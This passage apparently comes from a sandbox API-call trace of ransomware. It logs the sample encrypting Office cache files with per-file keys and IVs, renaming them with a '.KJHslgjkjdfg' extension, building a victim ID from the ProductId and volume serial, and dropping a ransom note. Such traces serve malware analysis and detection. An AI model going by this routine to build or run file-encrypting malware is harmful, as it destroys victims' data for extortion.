lpOverlapped=0x0) returned 1 [0154.200] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0154.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13d6b60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.203] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0154.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.204] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0154.204] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.204] SetEndOfFile (hFile=0xf0) returned 1 [0154.207] GetProcessHeap () returned 0x990000 [0154.207] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0154.208] GetProcessHeap () returned 0x990000 [0154.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0154.208] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.kjhslgjkjdfg")) returned 1 [0154.813] CloseHandle (hObject=0xf0) returned 1 [0154.813] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0154.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.814] GetProcessHeap () returned 0x990000 [0154.814] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0154.814] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0154.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0154.814] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0154.814] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.814] GetProcessHeap () returned 0x990000 [0154.814] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0154.815] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0154.815] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.815] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0154.816] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0154.816] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0154.816] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0154.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0154.816] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0154.817] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0154.817] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.817] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd8400, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd8400, lpOverlapped=0x0) returned 1 [0154.823] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd8400, dwBufLen=0xd8400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd8400) returned 1 [0154.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.835] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd8400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd8400, lpOverlapped=0x0) returned 1 [0154.836] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd84c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.836] SetEndOfFile (hFile=0xf0) returned 1 [0154.837] GetProcessHeap () returned 0x990000 [0154.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0154.837] GetProcessHeap () returned 0x990000 [0154.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0154.838] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.kjhslgjkjdfg")) returned 1 [0154.847] CloseHandle (hObject=0xf0) returned 1 [0154.847] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0154.847] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.847] GetProcessHeap () returned 0x990000 [0154.847] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0154.847] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0154.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0154.848] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0154.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0154.857] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.857] GetProcessHeap () returned 0x990000 [0154.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0154.857] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0154.857] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.858] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0154.858] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0154.858] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0154.858] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0154.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0154.858] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0154.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0154.858] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.858] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b2, lpOverlapped=0x0) returned 1 [0154.858] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0) returned 1 [0154.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.859] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c0, lpOverlapped=0x0) returned 1 [0154.859] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.859] SetEndOfFile (hFile=0xf0) returned 1 [0154.860] GetProcessHeap () returned 0x990000 [0154.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0154.860] GetProcessHeap () returned 0x990000 [0154.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0154.860] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.kjhslgjkjdfg")) returned 1 [0154.868] CloseHandle (hObject=0xf0) returned 1 [0154.868] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0154.868] GetProcessHeap () returned 0x990000 [0154.868] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0154.868] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.868] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0154.868] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.868] GetProcessHeap () returned 0x990000 [0154.868] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0154.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.869] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0154.869] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.869] GetProcessHeap () returned 0x990000 [0154.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0154.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.869] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29df0a8 | out: pbData=0x9b78c0, pdwDataLen=0x29df0a8) returned 1 [0154.869] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.869] GetProcessHeap () returned 0x990000 [0154.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0154.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.869] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0154.869] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.869] GetProcessHeap () returned 0x990000 [0154.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0154.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.869] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dec88 | out: pbData=0x9b1918, pdwDataLen=0x29dec88) returned 1 [0154.869] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.869] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0154.870] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0154.870] RegCloseKey (hKey=0xf0) returned 0x0 [0154.870] GetProcessHeap () returned 0x990000 [0154.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0154.870] GetProcessHeap () returned 0x990000 [0154.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0154.870] GetProcessHeap () returned 0x990000 [0154.870] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0154.870] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.870] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dea5c | out: pbData=0x9b1918, pdwDataLen=0x29dea5c) returned 1 [0154.870] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.870] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0154.870] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0154.870] GetProcessHeap () returned 0x990000 [0154.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0154.870] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0154.871] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0154.871] GetProcessHeap () returned 0x990000 [0154.871] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0154.871] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\readme-warning.txt") returned 90 [0154.871] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.872] WriteFile (in: hFile=0xf0, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0154.874] CloseHandle (hObject=0xf0) returned 1 [0154.874] GetProcessHeap () returned 0x990000 [0154.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0154.874] GetProcessHeap () returned 0x990000 [0154.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0154.874] GetProcessHeap () returned 0x990000 [0154.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0154.874] GetProcessHeap () returned 0x990000 [0154.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0154.874] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0154.874] GetProcessHeap () returned 0x990000 [0154.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0154.874] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0154.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.875] GetProcessHeap () returned 0x990000 [0154.875] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0154.875] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0154.875] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0154.875] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0154.875] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.875] GetProcessHeap () returned 0x990000 [0154.875] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0154.875] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0154.875] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.875] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0154.877] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0154.877] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0154.878] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0154.878] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0154.878] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0154.878] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0154.878] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 